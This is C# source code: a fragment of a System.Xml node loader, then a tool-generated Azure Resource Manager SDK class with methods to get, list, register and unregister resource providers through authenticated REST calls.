attr = CreateXmlNsAttribute(r.Prefix, _namespaceManager.LookupNamespace(r.Prefix)); attributes.Append(attr); } } } r.MoveToElement(); _parentNode.AppendChild(element); if (!r.IsEmptyElement) { _parentNode = element; } } return element; } private XmlAttribute CreateXmlNsAttribute(string prefix, string value) { XmlAttribute attr; if (prefix.Length == 0) { attr = _dummyDocument.CreateAttribute(string.Empty, _xmlns, XmlReservedNs.NsXmlNs); } else { attr = _dummyDocument.CreateAttribute(_xmlns, prefix, XmlReservedNs.NsXmlNs); } attr.AppendChild(_dummyDocument.CreateTextNode(value)); _annotationNSManager.AddNamespace(prefix, value); return attr; } private XmlAttribute LoadAttributeNode() { Debug.Assert(_reader.NodeType == XmlNodeType.Attribute); XmlReader r = _reader; XmlAttribute attr = _dummyDocument.CreateAttribute(r.Prefix, r.LocalName, r.NamespaceURI); while (r.ReadAttributeValue()) { switch (r.NodeType) { case XmlNodeType.Text: attr.AppendChild(_dummyDocument.CreateTextNode(r.Value)); continue; case XmlNodeType.EntityReference: attr.AppendChild(LoadEntityReferenceInAttribute()); continue; default: throw XmlLoader.UnexpectedNodeType(r.NodeType); } } return attr; } private XmlEntityReference LoadEntityReferenceInAttribute() { Debug.Assert(_reader.NodeType == XmlNodeType.EntityReference); XmlEntityReference eref = _dummyDocument.CreateEntityReference(_reader.LocalName); if (!_reader.CanResolveEntity) { return eref; } _reader.ResolveEntity(); while (_reader.ReadAttributeValue()) { switch (_reader.NodeType) { case XmlNodeType.Text: eref.AppendChild(_dummyDocument.CreateTextNode(_reader.Value)); continue; case XmlNodeType.EndEntity: if (eref.ChildNodes.Count == 0) { eref.AppendChild(_dummyDocument.CreateTextNode(string.Empty)); } return eref; case XmlNodeType.EntityReference: eref.AppendChild(LoadEntityReferenceInAttribute()); break; default: throw XmlLoader.UnexpectedNodeType(_reader.NodeType); } } return eref; } }; } // namespace System.Xml
// // Copyright (c) Microsoft and contributors. All rights reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // // See the License for the specific language governing permissions and // limitations under the License. // // Warning: This code was generated by a tool. // // Changes to this file may cause incorrect behavior and will be lost if the // code is regenerated. using System; using System.Collections.Generic; using System.Linq; using System.Net; using System.Net.Http; using System.Threading; using System.Threading.Tasks; using Hyak.Common; using Microsoft.Azure.Management.Resources; using Microsoft.Azure.Management.Resources.Models; using Newtonsoft.Json.Linq; namespace Microsoft.Azure.Management.Resources { /// <summary> /// Operations for managing providers. /// </summary> internal partial class ProviderOperations : IServiceOperations<ResourceManagementClient>, IProviderOperations { /// <summary> /// Initializes a new instance of the ProviderOperations class. /// </summary> /// <param name='client'> /// Reference to the service client. /// </param> internal ProviderOperations(ResourceManagementClient client) { this._client = client; } private ResourceManagementClient _client; /// <summary> /// Gets a reference to the /// Microsoft.Azure.Management.Resources.ResourceManagementClient. /// </summary> public ResourceManagementClient Client { get { return this._client; } } /// <summary> /// Gets a resource provider. /// </summary> /// <param name='resourceProviderNamespace'> /// Required. Namespace of the resource provider. /// </param> /// <param name='cancellationToken'> /// Cancellation token. /// </param> /// <returns> /// Resource provider information. /// </returns> public async Task<ProviderGetResult> GetAsync(string resourceProviderNamespace, CancellationToken cancellationToken) { // Validate if (resourceProviderNamespace == null) { throw new ArgumentNullException("resourceProviderNamespace"); } // Tracing bool shouldTrace = TracingAdapter.IsEnabled; string invocationId = null; if (shouldTrace) { invocationId = TracingAdapter.NextInvocationId.ToString(); Dictionary<string, object> tracingParameters = new Dictionary<string, object>(); tracingParameters.Add("resourceProviderNamespace", resourceProviderNamespace); TracingAdapter.Enter(invocationId, this, "GetAsync", tracingParameters); } // Construct URL string url = ""; url = url + "/subscriptions/"; if (this.Client.Credentials.SubscriptionId != null) { url = url + Uri.EscapeDataString(this.Client.Credentials.SubscriptionId); } url = url + "/providers/"; url = url + Uri.EscapeDataString(resourceProviderNamespace); List<string> queryParameters = new List<string>(); queryParameters.Add("api-version=2015-11-01"); if (queryParameters.Count > 0) { url = url + "?" + string.Join("&", queryParameters); } string baseUrl = this.Client.BaseUri.AbsoluteUri; // Trim '/' character from the end of baseUrl and beginning of url. if (baseUrl[baseUrl.Length - 1] == '/') { baseUrl = baseUrl.Substring(0, baseUrl.Length - 1); } if (url[0] == '/') { url = url.Substring(1); } url = baseUrl + "/" + url; url = url.Replace(" ", "%20"); // Create HTTP transport objects HttpRequestMessage httpRequest = null; try { httpRequest = new HttpRequestMessage(); httpRequest.Method = HttpMethod.Get; httpRequest.RequestUri = new Uri(url); // Set Headers // Set Credentials cancellationToken.ThrowIfCancellationRequested(); await this.Client.Credentials.ProcessHttpRequestAsync(httpRequest, cancellationToken).ConfigureAwait(false); // Send Request HttpResponseMessage httpResponse = null; try { if (shouldTrace) { TracingAdapter.SendRequest(invocationId, httpRequest); } cancellationToken.ThrowIfCancellationRequested(); httpResponse = await this.Client.HttpClient.SendAsync(httpRequest, cancellationToken).ConfigureAwait(false); if (shouldTrace) { TracingAdapter.ReceiveResponse(invocationId, httpResponse); } HttpStatusCode statusCode = httpResponse.StatusCode; if (statusCode != HttpStatusCode.OK) { cancellationToken.ThrowIfCancellationRequested(); CloudException ex = CloudException.Create(httpRequest, null, httpResponse, await httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false)); if (shouldTrace) { TracingAdapter.Error(invocationId, ex); } throw ex; } // Create Result ProviderGetResult result = null; // Deserialize Response if (statusCode == HttpStatusCode.OK) { cancellationToken.ThrowIfCancellationRequested(); string responseContent = await httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); result = new ProviderGetResult(); JToken responseDoc = null; if (string.IsNullOrEmpty(responseContent) == false) { responseDoc = JToken.Parse(responseContent); } if (responseDoc != null && responseDoc.Type != JTokenType.Null) { Provider providerInstance = new Provider(); result.Provider = providerInstance; JToken idValue = responseDoc["id"]; if (idValue != null && idValue.Type != JTokenType.Null) { string idInstance = ((string)idValue); providerInstance.Id = idInstance; } JToken namespaceValue = responseDoc["namespace"]; if (namespaceValue != null && namespaceValue.Type != JTokenType.Null) { string namespaceInstance = ((string)namespaceValue); providerInstance.Namespace = namespaceInstance; } JToken registrationStateValue = responseDoc["registrationState"]; if (registrationStateValue != null && registrationStateValue.Type != JTokenType.Null) { string registrationStateInstance = ((string)registrationStateValue); providerInstance.RegistrationState = registrationStateInstance; } JToken resourceTypesArray = responseDoc["resourceTypes"]; if (resourceTypesArray != null && resourceTypesArray.Type != JTokenType.Null) { foreach (JToken resourceTypesValue in ((JArray)resourceTypesArray)) { ProviderResourceType providerResourceTypeInstance = new ProviderResourceType(); providerInstance.ResourceTypes.Add(providerResourceTypeInstance); JToken resourceTypeValue = resourceTypesValue["resourceType"]; if (resourceTypeValue != null && resourceTypeValue.Type != JTokenType.Null) { string resourceTypeInstance = ((string)resourceTypeValue); providerResourceTypeInstance.Name = resourceTypeInstance; } JToken locationsArray = resourceTypesValue["locations"]; if (locationsArray != null && locationsArray.Type != JTokenType.Null) { foreach (JToken locationsValue in ((JArray)locationsArray)) { providerResourceTypeInstance.Locations.Add(((string)locationsValue)); } } JToken apiVersionsArray = resourceTypesValue["apiVersions"]; if (apiVersionsArray != null && apiVersionsArray.Type != JTokenType.Null) { foreach (JToken apiVersionsValue in ((JArray)apiVersionsArray)) { providerResourceTypeInstance.ApiVersions.Add(((string)apiVersionsValue)); } } JToken propertiesSequenceElement = ((JToken)resourceTypesValue["properties"]); if (propertiesSequenceElement != null && propertiesSequenceElement.Type != JTokenType.Null) { foreach (JProperty property in propertiesSequenceElement) { string propertiesKey = ((string)property.Name); string propertiesValue = ((string)property.Value); providerResourceTypeInstance.Properties.Add(propertiesKey, propertiesValue); } } } } } } result.StatusCode = statusCode; if (httpResponse.Headers.Contains("x-ms-request-id")) { result.RequestId = httpResponse.Headers.GetValues("x-ms-request-id").FirstOrDefault(); } if (shouldTrace) { TracingAdapter.Exit(invocationId, result); } return result; } finally { if (httpResponse != null) { httpResponse.Dispose(); } } } finally { if (httpRequest != null) { httpRequest.Dispose(); } } } /// <summary> /// Gets a list of resource providers. /// </summary> /// <param name='parameters'> /// Optional. Query parameters. If null is passed returns all /// deployments. /// </param> /// <param name='cancellationToken'> /// Cancellation token. /// </param> /// <returns> /// List of resource providers. /// </returns> public async Task<ProviderListResult> ListAsync(ProviderListParameters parameters, CancellationToken cancellationToken) { // Validate // Tracing bool shouldTrace = TracingAdapter.IsEnabled; string invocationId = null; if (shouldTrace) { invocationId = TracingAdapter.NextInvocationId.ToString(); Dictionary<string, object> tracingParameters = new Dictionary<string, object>(); tracingParameters.Add("parameters", parameters); TracingAdapter.Enter(invocationId, this, "ListAsync", tracingParameters); } // Construct URL string url = ""; url = url + "/subscriptions/"; if (this.Client.Credentials.SubscriptionId != null) { url = url + Uri.EscapeDataString(this.Client.Credentials.SubscriptionId); } url = url + "/providers"; List<string> queryParameters = new List<string>(); if (parameters != null && parameters.Top != null) { queryParameters.Add("$top=" + Uri.EscapeDataString(parameters.Top.Value.ToString())); } queryParameters.Add("api-version=2015-11-01"); if (queryParameters.Count > 0) { url = url + "?" + string.Join("&", queryParameters); } string baseUrl = this.Client.BaseUri.AbsoluteUri; // Trim '/' character from the end of baseUrl and beginning of url. if (baseUrl[baseUrl.Length - 1] == '/') { baseUrl = baseUrl.Substring(0, baseUrl.Length - 1); } if (url[0] == '/') { url = url.Substring(1); } url = baseUrl + "/" + url; url = url.Replace(" ", "%20"); // Create HTTP transport objects HttpRequestMessage httpRequest = null; try { httpRequest = new HttpRequestMessage(); httpRequest.Method = HttpMethod.Get; httpRequest.RequestUri = new Uri(url); // Set Headers // Set Credentials cancellationToken.ThrowIfCancellationRequested(); await this.Client.Credentials.ProcessHttpRequestAsync(httpRequest, cancellationToken).ConfigureAwait(false); // Send Request HttpResponseMessage httpResponse = null; try { if (shouldTrace) { TracingAdapter.SendRequest(invocationId, httpRequest); } cancellationToken.ThrowIfCancellationRequested(); httpResponse = await this.Client.HttpClient.SendAsync(httpRequest, cancellationToken).ConfigureAwait(false); if (shouldTrace) { TracingAdapter.ReceiveResponse(invocationId, httpResponse); } HttpStatusCode statusCode = httpResponse.StatusCode; if (statusCode != HttpStatusCode.OK) { cancellationToken.ThrowIfCancellationRequested(); CloudException ex = CloudException.Create(httpRequest, null, httpResponse, await httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false)); if (shouldTrace) { TracingAdapter.Error(invocationId, ex); } throw ex; } // Create Result ProviderListResult result = null; // Deserialize Response if (statusCode == HttpStatusCode.OK) { cancellationToken.ThrowIfCancellationRequested(); string responseContent = await httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); result = new ProviderListResult(); JToken responseDoc = null; if (string.IsNullOrEmpty(responseContent) == false) { responseDoc = JToken.Parse(responseContent); } if (responseDoc != null && responseDoc.Type != JTokenType.Null) { JToken valueArray = responseDoc["value"]; if (valueArray != null && valueArray.Type != JTokenType.Null) { foreach (JToken valueValue in ((JArray)valueArray)) { Provider providerInstance = new Provider(); result.Providers.Add(providerInstance); JToken idValue = valueValue["id"]; if (idValue != null && idValue.Type != JTokenType.Null) { string idInstance = ((string)idValue); providerInstance.Id = idInstance; } JToken namespaceValue = valueValue["namespace"]; if (namespaceValue != null && namespaceValue.Type != JTokenType.Null) { string namespaceInstance = ((string)namespaceValue); providerInstance.Namespace = namespaceInstance; } JToken registrationStateValue = valueValue["registrationState"]; if (registrationStateValue != null && registrationStateValue.Type != JTokenType.Null) { string registrationStateInstance = ((string)registrationStateValue); providerInstance.RegistrationState = registrationStateInstance; } JToken resourceTypesArray = valueValue["resourceTypes"]; if (resourceTypesArray != null && resourceTypesArray.Type != JTokenType.Null) { foreach (JToken resourceTypesValue in ((JArray)resourceTypesArray)) { ProviderResourceType providerResourceTypeInstance = new ProviderResourceType(); providerInstance.ResourceTypes.Add(providerResourceTypeInstance); JToken resourceTypeValue = resourceTypesValue["resourceType"]; if (resourceTypeValue != null && resourceTypeValue.Type != JTokenType.Null) { string resourceTypeInstance = ((string)resourceTypeValue); providerResourceTypeInstance.Name = resourceTypeInstance; } JToken locationsArray = resourceTypesValue["locations"]; if (locationsArray != null && locationsArray.Type != JTokenType.Null) { foreach (JToken locationsValue in ((JArray)locationsArray)) { providerResourceTypeInstance.Locations.Add(((string)locationsValue)); } } JToken apiVersionsArray = resourceTypesValue["apiVersions"]; if (apiVersionsArray != null && apiVersionsArray.Type != JTokenType.Null) { foreach (JToken apiVersionsValue in ((JArray)apiVersionsArray)) { providerResourceTypeInstance.ApiVersions.Add(((string)apiVersionsValue)); } } JToken propertiesSequenceElement = ((JToken)resourceTypesValue["properties"]); if (propertiesSequenceElement != null && propertiesSequenceElement.Type != JTokenType.Null) { foreach (JProperty property in propertiesSequenceElement) { string propertiesKey = ((string)property.Name); string propertiesValue = ((string)property.Value); providerResourceTypeInstance.Properties.Add(propertiesKey, propertiesValue); } } } } } } JToken nextLinkValue = responseDoc["nextLink"]; if (nextLinkValue != null && nextLinkValue.Type != JTokenType.Null) { string nextLinkInstance = ((string)nextLinkValue); result.NextLink = nextLinkInstance; } } } result.StatusCode = statusCode; if (httpResponse.Headers.Contains("x-ms-request-id")) { result.RequestId = httpResponse.Headers.GetValues("x-ms-request-id").FirstOrDefault(); } if (shouldTrace) { TracingAdapter.Exit(invocationId, result); } return result; } finally { if (httpResponse != null) { httpResponse.Dispose(); } } } finally { if (httpRequest != null) { httpRequest.Dispose(); } } } /// <summary> /// Get a list of deployments. /// </summary> /// <param name='nextLink'> /// Required. NextLink from the previous successful call to List /// operation. /// </param> /// <param name='cancellationToken'> /// Cancellation token. /// </param> /// <returns> /// List of resource providers. /// </returns> public async Task<ProviderListResult> ListNextAsync(string nextLink, CancellationToken cancellationToken) { // Validate if (nextLink == null) { throw new ArgumentNullException("nextLink"); } // Tracing bool shouldTrace = TracingAdapter.IsEnabled; string invocationId = null; if (shouldTrace) { invocationId = TracingAdapter.NextInvocationId.ToString(); Dictionary<string, object> tracingParameters = new Dictionary<string, object>(); tracingParameters.Add("nextLink", nextLink); TracingAdapter.Enter(invocationId, this, "ListNextAsync", tracingParameters); } // Construct URL string url = ""; url = url + nextLink; url = url.Replace(" ", "%20"); // Create HTTP transport objects HttpRequestMessage httpRequest = null; try { httpRequest = new HttpRequestMessage(); httpRequest.Method = HttpMethod.Get; httpRequest.RequestUri = new Uri(url); // Set Headers // Set Credentials cancellationToken.ThrowIfCancellationRequested(); await this.Client.Credentials.ProcessHttpRequestAsync(httpRequest, cancellationToken).ConfigureAwait(false); // Send Request HttpResponseMessage httpResponse = null; try { if (shouldTrace) { TracingAdapter.SendRequest(invocationId, httpRequest); } cancellationToken.ThrowIfCancellationRequested(); httpResponse = await this.Client.HttpClient.SendAsync(httpRequest, cancellationToken).ConfigureAwait(false); if (shouldTrace) { TracingAdapter.ReceiveResponse(invocationId, httpResponse); } HttpStatusCode statusCode = httpResponse.StatusCode; if (statusCode != HttpStatusCode.OK) { cancellationToken.ThrowIfCancellationRequested(); CloudException ex = CloudException.Create(httpRequest, null, httpResponse, await httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false)); if (shouldTrace) { TracingAdapter.Error(invocationId, ex); } throw ex; } // Create Result ProviderListResult result = null; // Deserialize Response if (statusCode == HttpStatusCode.OK) { cancellationToken.ThrowIfCancellationRequested(); string responseContent = await httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); result = new ProviderListResult(); JToken responseDoc = null; if (string.IsNullOrEmpty(responseContent) == false) { responseDoc = JToken.Parse(responseContent); } if (responseDoc != null && responseDoc.Type != JTokenType.Null) { JToken valueArray = responseDoc["value"]; if (valueArray != null && valueArray.Type != JTokenType.Null) { foreach (JToken valueValue in ((JArray)valueArray)) { Provider providerInstance = new Provider(); result.Providers.Add(providerInstance); JToken idValue = valueValue["id"]; if (idValue != null && idValue.Type != JTokenType.Null) { string idInstance = ((string)idValue); providerInstance.Id = idInstance; } JToken namespaceValue = valueValue["namespace"]; if (namespaceValue != null && namespaceValue.Type != JTokenType.Null) { string namespaceInstance = ((string)namespaceValue); providerInstance.Namespace = namespaceInstance; } JToken registrationStateValue = valueValue["registrationState"]; if (registrationStateValue != null && registrationStateValue.Type != JTokenType.Null) { string registrationStateInstance = ((string)registrationStateValue); providerInstance.RegistrationState = registrationStateInstance; } JToken resourceTypesArray = valueValue["resourceTypes"]; if (resourceTypesArray != null && resourceTypesArray.Type != JTokenType.Null) { foreach (JToken resourceTypesValue in ((JArray)resourceTypesArray)) { ProviderResourceType providerResourceTypeInstance = new ProviderResourceType(); providerInstance.ResourceTypes.Add(providerResourceTypeInstance); JToken resourceTypeValue = resourceTypesValue["resourceType"]; if (resourceTypeValue != null && resourceTypeValue.Type != JTokenType.Null) { string resourceTypeInstance = ((string)resourceTypeValue); providerResourceTypeInstance.Name = resourceTypeInstance; } JToken locationsArray = resourceTypesValue["locations"]; if (locationsArray != null && locationsArray.Type != JTokenType.Null) { foreach (JToken locationsValue in ((JArray)locationsArray)) { providerResourceTypeInstance.Locations.Add(((string)locationsValue)); } } JToken apiVersionsArray = resourceTypesValue["apiVersions"]; if (apiVersionsArray != null && apiVersionsArray.Type != JTokenType.Null) { foreach (JToken apiVersionsValue in ((JArray)apiVersionsArray)) { providerResourceTypeInstance.ApiVersions.Add(((string)apiVersionsValue)); } } JToken propertiesSequenceElement = ((JToken)resourceTypesValue["properties"]); if (propertiesSequenceElement != null && propertiesSequenceElement.Type != JTokenType.Null) { foreach (JProperty property in propertiesSequenceElement) { string propertiesKey = ((string)property.Name); string propertiesValue = ((string)property.Value); providerResourceTypeInstance.Properties.Add(propertiesKey, propertiesValue); } } } } } } JToken nextLinkValue = responseDoc["nextLink"]; if (nextLinkValue != null && nextLinkValue.Type != JTokenType.Null) { string nextLinkInstance = ((string)nextLinkValue); result.NextLink = nextLinkInstance; } } } result.StatusCode = statusCode; if (httpResponse.Headers.Contains("x-ms-request-id")) { result.RequestId = httpResponse.Headers.GetValues("x-ms-request-id").FirstOrDefault(); } if (shouldTrace) { TracingAdapter.Exit(invocationId, result); } return result; } finally { if (httpResponse != null) { httpResponse.Dispose(); } } } finally { if (httpRequest != null) { httpRequest.Dispose(); } } } /// <summary> /// Registers provider to be used with a subscription. /// </summary> /// <param name='resourceProviderNamespace'> /// Required. Namespace of the resource provider. /// </param> /// <param name='cancellationToken'> /// Cancellation token. /// </param> /// <returns> /// Resource provider registration information. /// </returns> public async Task<ProviderRegistionResult> RegisterAsync(string resourceProviderNamespace, CancellationToken cancellationToken) { // Validate if (resourceProviderNamespace == null) { throw new ArgumentNullException("resourceProviderNamespace"); } // Tracing bool shouldTrace = TracingAdapter.IsEnabled; string invocationId = null; if (shouldTrace) { invocationId = TracingAdapter.NextInvocationId.ToString(); Dictionary<string, object> tracingParameters = new Dictionary<string, object>(); tracingParameters.Add("resourceProviderNamespace", resourceProviderNamespace); TracingAdapter.Enter(invocationId, this, "RegisterAsync", tracingParameters); } // Construct URL string url = ""; url = url + "/subscriptions/"; if (this.Client.Credentials.SubscriptionId != null) { url = url + Uri.EscapeDataString(this.Client.Credentials.SubscriptionId); } url = url + "/providers/"; url = url + Uri.EscapeDataString(resourceProviderNamespace); url = url + "/register"; List<string> queryParameters = new List<string>(); queryParameters.Add("api-version=2015-11-01"); if (queryParameters.Count > 0) { url = url + "?" + string.Join("&", queryParameters); } string baseUrl = this.Client.BaseUri.AbsoluteUri; // Trim '/' character from the end of baseUrl and beginning of url. if (baseUrl[baseUrl.Length - 1] == '/') { baseUrl = baseUrl.Substring(0, baseUrl.Length - 1); } if (url[0] == '/') { url = url.Substring(1); } url = baseUrl + "/" + url; url = url.Replace(" ", "%20"); // Create HTTP transport objects HttpRequestMessage httpRequest = null; try { httpRequest = new HttpRequestMessage(); httpRequest.Method = HttpMethod.Post; httpRequest.RequestUri = new Uri(url); // Set Headers // Set Credentials cancellationToken.ThrowIfCancellationRequested(); await this.Client.Credentials.ProcessHttpRequestAsync(httpRequest, cancellationToken).ConfigureAwait(false); // Send Request HttpResponseMessage httpResponse = null; try { if (shouldTrace) { TracingAdapter.SendRequest(invocationId, httpRequest); } cancellationToken.ThrowIfCancellationRequested(); httpResponse = await this.Client.HttpClient.SendAsync(httpRequest, cancellationToken).ConfigureAwait(false); if (shouldTrace) { TracingAdapter.ReceiveResponse(invocationId, httpResponse); } HttpStatusCode statusCode = httpResponse.StatusCode; if (statusCode != HttpStatusCode.OK) { cancellationToken.ThrowIfCancellationRequested(); CloudException ex = CloudException.Create(httpRequest, null, httpResponse, await httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false)); if (shouldTrace) { TracingAdapter.Error(invocationId, ex); } throw ex; } // Create Result ProviderRegistionResult result = null; // Deserialize Response if (statusCode == HttpStatusCode.OK) { cancellationToken.ThrowIfCancellationRequested(); string responseContent = await httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); result = new ProviderRegistionResult(); JToken responseDoc = null; if (string.IsNullOrEmpty(responseContent) == false) { responseDoc = JToken.Parse(responseContent); } if (responseDoc != null && responseDoc.Type != JTokenType.Null) { Provider providerInstance = new Provider(); result.Provider = providerInstance; JToken idValue = responseDoc["id"]; if (idValue != null && idValue.Type != JTokenType.Null) { string idInstance = ((string)idValue); providerInstance.Id = idInstance; } JToken namespaceValue = responseDoc["namespace"]; if (namespaceValue != null && namespaceValue.Type != JTokenType.Null) { string namespaceInstance = ((string)namespaceValue); providerInstance.Namespace = namespaceInstance; } JToken registrationStateValue = responseDoc["registrationState"]; if (registrationStateValue != null && registrationStateValue.Type != JTokenType.Null) { string registrationStateInstance = ((string)registrationStateValue); providerInstance.RegistrationState = registrationStateInstance; } JToken resourceTypesArray = responseDoc["resourceTypes"]; if (resourceTypesArray != null && resourceTypesArray.Type != JTokenType.Null) { foreach (JToken resourceTypesValue in ((JArray)resourceTypesArray)) { ProviderResourceType providerResourceTypeInstance = new ProviderResourceType(); providerInstance.ResourceTypes.Add(providerResourceTypeInstance); JToken resourceTypeValue = resourceTypesValue["resourceType"]; if (resourceTypeValue != null && resourceTypeValue.Type != JTokenType.Null) { string resourceTypeInstance = ((string)resourceTypeValue); providerResourceTypeInstance.Name = resourceTypeInstance; } JToken locationsArray = resourceTypesValue["locations"]; if (locationsArray != null && locationsArray.Type != JTokenType.Null) { foreach (JToken locationsValue in ((JArray)locationsArray)) { providerResourceTypeInstance.Locations.Add(((string)locationsValue)); } } JToken apiVersionsArray = resourceTypesValue["apiVersions"]; if (apiVersionsArray != null && apiVersionsArray.Type != JTokenType.Null) { foreach (JToken apiVersionsValue in ((JArray)apiVersionsArray)) { providerResourceTypeInstance.ApiVersions.Add(((string)apiVersionsValue)); } } JToken propertiesSequenceElement = ((JToken)resourceTypesValue["properties"]); if (propertiesSequenceElement != null && propertiesSequenceElement.Type != JTokenType.Null) { foreach (JProperty property in propertiesSequenceElement) { string propertiesKey = ((string)property.Name); string propertiesValue = ((string)property.Value); providerResourceTypeInstance.Properties.Add(propertiesKey, propertiesValue); } } } } } } result.StatusCode = statusCode; if (httpResponse.Headers.Contains("x-ms-request-id")) { result.RequestId = httpResponse.Headers.GetValues("x-ms-request-id").FirstOrDefault(); } if (shouldTrace) { TracingAdapter.Exit(invocationId, result); } return result; } finally { if (httpResponse != null) { httpResponse.Dispose(); } } } finally { if (httpRequest != null) { httpRequest.Dispose(); } } } /// <summary> /// Unregisters provider from a subscription. /// </summary> /// <param name='resourceProviderNamespace'> /// Required. Namespace of the resource provider. /// </param> /// <param name='cancellationToken'> /// Cancellation token. /// </param> /// <returns> /// Resource provider registration information. /// </returns> public async Task<ProviderUnregistionResult> UnregisterAsync(string resourceProviderNamespace, CancellationToken cancellationToken) { // Validate if (resourceProviderNamespace == null) { throw new ArgumentNullException("resourceProviderNamespace"); } // Tracing bool shouldTrace = TracingAdapter.IsEnabled; string invocationId = null; if (shouldTrace) { invocationId = TracingAdapter.NextInvocationId.ToString(); Dictionary<string, object> tracingParameters = new Dictionary<string, object>(); tracingParameters.Add("resourceProviderNamespace", resourceProviderNamespace); TracingAdapter.Enter(invocationId, this, "UnregisterAsync", tracingParameters); } // Construct URL string url = ""; url = url + "/subscriptions/"; if (this.Client.Credentials.SubscriptionId != null) { url = url + Uri.EscapeDataString(this.Client.Credentials.SubscriptionId); } url = url + "/providers/"; url = url + Uri.EscapeDataString(resourceProviderNamespace); url = url + "/unregister"; List<string> queryParameters = new List<string>(); queryParameters.Add("api-version=2015-11-01"); if (queryParameters.Count > 0) { url = url + "?" + string.Join("&", queryParameters); } string baseUrl = this.Client.BaseUri.AbsoluteUri; // Trim '/' character from the end of baseUrl and beginning of url. if (baseUrl[baseUrl.Length - 1] == '/') { baseUrl = baseUrl.Substring(0, baseUrl.Length - 1); } if (url[0] == '/') { url = url.Substring(1); } url = baseUrl + "/" + url; url = url.Replace(" ", "%20"); // Create HTTP transport objects HttpRequestMessage httpRequest = null; try { httpRequest = new HttpRequestMessage(); httpRequest.Method = HttpMethod.Post; httpRequest.RequestUri = new Uri(url); // Set Headers // Set Credentials cancellationToken.ThrowIfCancellationRequested(); await this.Client.Credentials.ProcessHttpRequestAsync(httpRequest, cancellationToken).ConfigureAwait(false); // Send Request HttpResponseMessage httpResponse = null; try { if (shouldTrace) { TracingAdapter.SendRequest(invocationId, httpRequest); } cancellationToken.ThrowIfCancellationRequested(); httpResponse = await this.Client.HttpClient.SendAsync(httpRequest, cancellationToken).ConfigureAwait(false); if (shouldTrace) { TracingAdapter.ReceiveResponse(invocationId, httpResponse); } HttpStatusCode statusCode = httpResponse.StatusCode; if (statusCode != HttpStatusCode.OK) { cancellationToken.ThrowIfCancellationRequested(); CloudException ex = CloudException.Create(httpRequest, null, httpResponse, await httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false)); if (shouldTrace) { TracingAdapter.Error(invocationId, ex); } throw ex; } // Create Result ProviderUnregistionResult result = null; // Deserialize Response if (statusCode == HttpStatusCode.OK) { cancellationToken.ThrowIfCancellationRequested(); string responseContent = await httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); result = new ProviderUnregistionResult(); JToken responseDoc = null; if (string.IsNullOrEmpty(responseContent) == false) { responseDoc = JToken.Parse(responseContent); } if (responseDoc != null && responseDoc.Type != JTokenType.Null) { Provider providerInstance = new Provider(); result.Provider = providerInstance; JToken idValue = responseDoc["id"]; if (idValue != null && idValue.Type != JTokenType.Null) { string idInstance = ((string)idValue); providerInstance.Id = idInstance; } JToken namespaceValue = responseDoc["namespace"]; if (namespaceValue != null && namespaceValue.Type != JTokenType.Null) { string namespaceInstance = ((string)namespaceValue); providerInstance.Namespace = namespaceInstance; } JToken registrationStateValue = responseDoc["registrationState"]; if (registrationStateValue != null && registrationStateValue.Type != JTokenType.Null) { string registrationStateInstance = ((string)registrationStateValue); providerInstance.RegistrationState = registrationStateInstance; } JToken resourceTypesArray = responseDoc["resourceTypes"]; if (resourceTypesArray != null && resourceTypesArray.Type != JTokenType.Null) { foreach (JToken resourceTypesValue in ((JArray)resourceTypesArray)) { ProviderResourceType providerResourceTypeInstance = new ProviderResourceType(); providerInstance.ResourceTypes.Add(providerResourceTypeInstance); JToken resourceTypeValue = resourceTypesValue["resourceType"]; if (resourceTypeValue != null && resourceTypeValue.Type != JTokenType.Null) { string resourceTypeInstance = ((string)resourceTypeValue); providerResourceTypeInstance.Name = resourceTypeInstance; } JToken locationsArray = resourceTypesValue["locations"]; if (locationsArray != null && locationsArray.Type != JTokenType.Null) { foreach (JToken locationsValue in ((JArray)locationsArray)) { providerResourceTypeInstance.Locations.Add(((string)locationsValue)); } } JToken apiVersionsArray = resourceTypesValue["apiVersions"]; if (apiVersionsArray != null && apiVersionsArray.Type != JTokenType.Null) { foreach (JToken apiVersionsValue in ((JArray)apiVersionsArray)) { providerResourceTypeInstance.ApiVersions.Add(((string)apiVersionsValue)); } } JToken propertiesSequenceElement = ((JToken)resourceTypesValue["properties"]); if (propertiesSequenceElement != null && propertiesSequenceElement.Type != JTokenType.Null) { foreach (JProperty property in propertiesSequenceElement) { string propertiesKey = ((string)property.Name); string propertiesValue = ((string)property.Value); providerResourceTypeInstance.Properties.Add(propertiesKey, propertiesValue); } } } } } } result.StatusCode = statusCode; if (httpResponse.Headers.Contains("x-ms-request-id")) { result.RequestId = httpResponse.Headers.GetValues("x-ms-request-id").FirstOrDefault(); } if (shouldTrace) { TracingAdapter.Exit(invocationId, result); } return result; } finally { if (httpResponse != null) { httpResponse.Dispose(); } } } finally { if (httpRequest != null) { httpRequest.Dispose(); } } } } }
